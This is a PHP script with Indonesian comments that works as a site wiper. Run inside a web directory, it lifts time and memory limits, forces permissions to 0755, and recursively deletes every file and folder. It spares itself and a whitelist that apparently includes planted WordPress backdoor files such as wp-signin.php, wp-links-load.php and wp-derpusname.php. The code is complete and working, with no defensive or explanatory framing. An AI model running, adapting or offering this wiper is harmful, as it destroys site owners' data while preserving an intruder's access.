<?php

// =======================================================
// !!! PENGATURAN EKSEKUSI AGRESIF !!!
// =======================================================
@set_time_limit(0);
@ignore_user_abort(true);
@ini_set('memory_limit', '-1');
@ob_implicit_flush(true);

$currentWebsiteDir = __DIR__;
$selfScript        = basename(__FILE__);

// =======================================================
// WHITELIST — FILE/FOLDER YANG TIDAK DIHAPUS
// =======================================================
$whitelist = [
    'wp-config.php',
    'wordfence-waf.php',
    'wordpress.zip',
    'wp-data.php',
    'wp-links-load.php',
    'wp-logout.php',
    'wp-signin.php',
    'assets_cache_v2.php',
    'wp-derpusname.php',
    
];

// Normalisasi whitelist jadi lowercase untuk perbandingan case-insensitive
$whitelistLower = array_map('strtolower', $whitelist);

$totalDeleted  = 0;
$totalSkipped  = 0;
$totalUnlocked = 0;

// =======================================================
// DETEKSI USER PEMILIK DIREKTORI
// =======================================================
$dirOwnerId   = @fileowner($currentWebsiteDir);
$dirOwnerName = 'unknown';
if ($dirOwnerId !== false) {
    if (function_exists('posix_getpwuid')) {
        $pw = @posix_getpwuid($dirOwnerId);
        if ($pw && isset($pw['name'])) {
            $dirOwnerName = $pw['name'];
        }
    }
    // Fallback: kalau posix tidak ada, tampilkan UID saja
    if ($dirOwnerName === 'unknown') {
        $dirOwnerName = 'UID:' . $dirOwnerId;
    }
}

// =======================================================
// FUNGSI UTAMA: PENGHAPUSAN REKURSIF + WHITELIST + CHMOD
// =======================================================
function recursiveDelete($dir, $selfScript, $whitelistLower) {
    global $totalDeleted, $totalSkipped, $totalUnlocked;

    @set_time_limit(0);

    if (!@is_dir($dir)) return;

    // Buka kunci direktori kalau tidak writable
    if (!@is_writable($dir)) {
        if (@chmod($dir, 0755)) {
            $totalUnlocked++;
        }
    }

    $items = @scandir($dir);
    if ($items === false) return;

    foreach ($items as $item) {
        if ($item == '.' || $item == '..') continue;

        $fullPath = $dir . DIRECTORY_SEPARATOR . $item;

        // --- SKIP SCRIPT SENDIRI ---
        if ($item == $selfScript) {
            $totalSkipped++;
            echo "  [SKIP-SELF]  $fullPath\n";
            @ob_flush(); flush();
            continue;
        }

        // --- SKIP WHITELIST ---
        if (in_array(strtolower($item), $whitelistLower, true)) {
            $totalSkipped++;
            echo "  [WHITELIST]  $fullPath\n";
            @ob_flush(); flush();
            continue;
        }

        // --- BUKA KUNCI (CHMOD) ---
        if (!@is_writable($fullPath)) {
            if (@chmod($fullPath, 0755)) {
                $totalUnlocked++;
            }
        }

        if (@is_dir($fullPath)) {
            recursiveDelete($fullPath, $selfScript, $whitelistLower);

            if (@rmdir($fullPath)) {
                $totalDeleted++;
                echo "  [DIR-DEL]    $fullPath\n";
            } else {
                $totalSkipped++;
                echo "  [DIR-FAIL]   $fullPath\n";
            }
            @ob_flush(); flush();
        } else {
            if (@unlink($fullPath)) {
                $totalDeleted++;
                echo "  [FILE-DEL]   $fullPath\n";
            } else {
                $totalSkipped++;
                echo "  [FILE-FAIL]  $fullPath\n";
            }
            @ob_flush(); flush();
        }
    }
}

// =======================================================
// EKSEKUSI
// =======================================================

echo "<pre>";
echo "================================================================================\n";
echo ">>> MODE PEMUSNAHAN TOTAL + WHITELIST + AUTO UNLOCK (0755) <<<\n";
echo "================================================================================\n";
echo "Path Script     : " . htmlspecialchars($currentWebsiteDir) . "\n";
echo "User Pemilik    : " . htmlspecialchars($dirOwnerName) . " (UID: " . htmlspecialchars((string)$dirOwnerId) . ")\n";
echo "Script Sendiri  : " . htmlspecialchars($selfScript) . " (DILEWATI)\n";
echo "--------------------------------------------------------------------------------\n";
echo "WHITELIST (TIDAK DIHAPUS):\n";
foreach ($whitelist as $w) {
    echo "  - $w\n";
}
echo "================================================================================\n\n";
@ob_flush(); flush();

recursiveDelete($currentWebsiteDir, $selfScript, $whitelistLower);

echo "\n\n================================================================================\n";
echo ">>> ✅ PEMBERSIHAN SELESAI <<<\n";
echo "================================================================================\n";
echo "Path Dieksekusi        : {$currentWebsiteDir}\n";
echo "User Pemilik           : {$dirOwnerName}\n";
echo "Item Berhasil Dihapus  : {$totalDeleted}\n";
echo "Izin Berhasil Diubah   : {$totalUnlocked} (Unlocked to 0755)\n";
echo "Gagal/Dilewati         : {$totalSkipped} (termasuk whitelist & script sendiri)\n";
echo "================================================================================\n";
echo "</pre>";

?>